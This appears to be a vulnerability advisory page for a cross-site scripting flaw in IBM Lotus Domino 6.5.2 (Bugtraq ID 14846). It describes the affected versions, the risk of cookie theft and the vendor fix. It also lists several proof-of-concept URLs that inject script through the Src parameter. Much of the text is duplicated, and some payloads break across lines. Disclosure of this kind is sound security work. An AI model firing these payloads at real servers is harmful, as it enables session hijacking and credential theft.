IBM Lotus Domino Src Parameter Cross-Site Scripting Vulnerability
BID:14846
Info
IBM Lotus Domino Src Parameter Cross-Site Scripting Vulnerability
| Bugtraq ID: | 14846 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 15 2005 12:00AM |
| Updated: | Sep 15 2005 12:00AM |
| Credit: | This issue was announced by the vendor. |
| Vulnerable: |
IBM Lotus Domino Enterprise Server 6.5.2 IBM Lotus Domino 6.5.2 |
| Not Vulnerable: | |
Discussion
IBM Lotus Domino Src Parameter Cross-Site Scripting Vulnerability
IBM Lotus Domino is prone to a cross-site scripting vulnerability. This is due to insufficient input validation of data supplied through URI parameters.
An attacker may exploit this by enticing a victim user into visiting a malicious link that contains HTML and script code.
Exploitation may permit theft of cookie-based authentication credentials. Other attacks are also possible.
IBM Lotus Domino is prone to a cross-site scripting vulnerability. This is due to insufficient input validation of data supplied through URI parameters.
An attacker may exploit this by enticing a victim user into visiting a malicious link that contains HTML and script code.
Exploitation may permit theft of cookie-based authentication credentials. Other attacks are also possible.
Exploit / POC
IBM Lotus Domino Src Parameter Cross-Site Scripting Vulnerability
The following examples were provided:
SubPayrollExceptionsFS?OpenFrameSet&Frame=Main&Src=a"></FRAMESET><script>al
ert(document.coo
kie)</script>
SubFS?OpenFrameSet&Frame=Main&Src=a"></FRAMESET><script>alert(document.cook
ie)</script>
SubDocumentExchangeFS?OpenFrameSet&Frame=Main&Src=a"></FRAMESET><script>alert(document.cook
ie)</script>
SubReportFS?OpenFrameSet&Frame=Main&Src=a"></FRAMESET><script>alert(document.co
okie)</script>
SubPaymentProcessingFS?OpenFrameSet&Frame=Main&Src=a"></FRAMESET><script>alert(document.cookie)</script>
SubReportsPPFS2?OpenFrameSet&Frame=SubBottom&Src=a"></FRAMESET><script>aler
t(document.cookie)</script>
SubReportsPEFS2?OpenFrameSet&Frame=SubBottom&Src=a"></FRAMESET><script>alert(document.cookie)</script>
The following examples were provided:
SubPayrollExceptionsFS?OpenFrameSet&Frame=Main&Src=a"></FRAMESET><script>al
ert(document.coo
kie)</script>
SubFS?OpenFrameSet&Frame=Main&Src=a"></FRAMESET><script>alert(document.cook
ie)</script>
SubDocumentExchangeFS?OpenFrameSet&Frame=Main&Src=a"></FRAMESET><script>alert(document.cook
ie)</script>
SubReportFS?OpenFrameSet&Frame=Main&Src=a"></FRAMESET><script>alert(document.co
okie)</script>
SubPaymentProcessingFS?OpenFrameSet&Frame=Main&Src=a"></FRAMESET><script>alert(document.cookie)</script>
SubReportsPPFS2?OpenFrameSet&Frame=SubBottom&Src=a"></FRAMESET><script>aler
t(document.cookie)</script>
SubReportsPEFS2?OpenFrameSet&Frame=SubBottom&Src=a"></FRAMESET><script>alert(document.cookie)</script>
Solution / Fix
IBM Lotus Domino Src Parameter Cross-Site Scripting Vulnerability
Solution:
IBM has released APAR LO07850 to address this issue.
IBM Lotus Domino 6.5.2
IBM Lotus Domino Enterprise Server 6.5.2
Solution:
IBM has released APAR LO07850 to address this issue.
IBM Lotus Domino 6.5.2
-
IBM LO07849
http://www-1.ibm.com/support/docview.wss?rs=0&uid=swg1LO07849&loc=en_U S&cs=utf-8&cc=us&lang=all
IBM Lotus Domino Enterprise Server 6.5.2
References
IBM Lotus Domino Src Parameter Cross-Site Scripting Vulnerability
References:
References: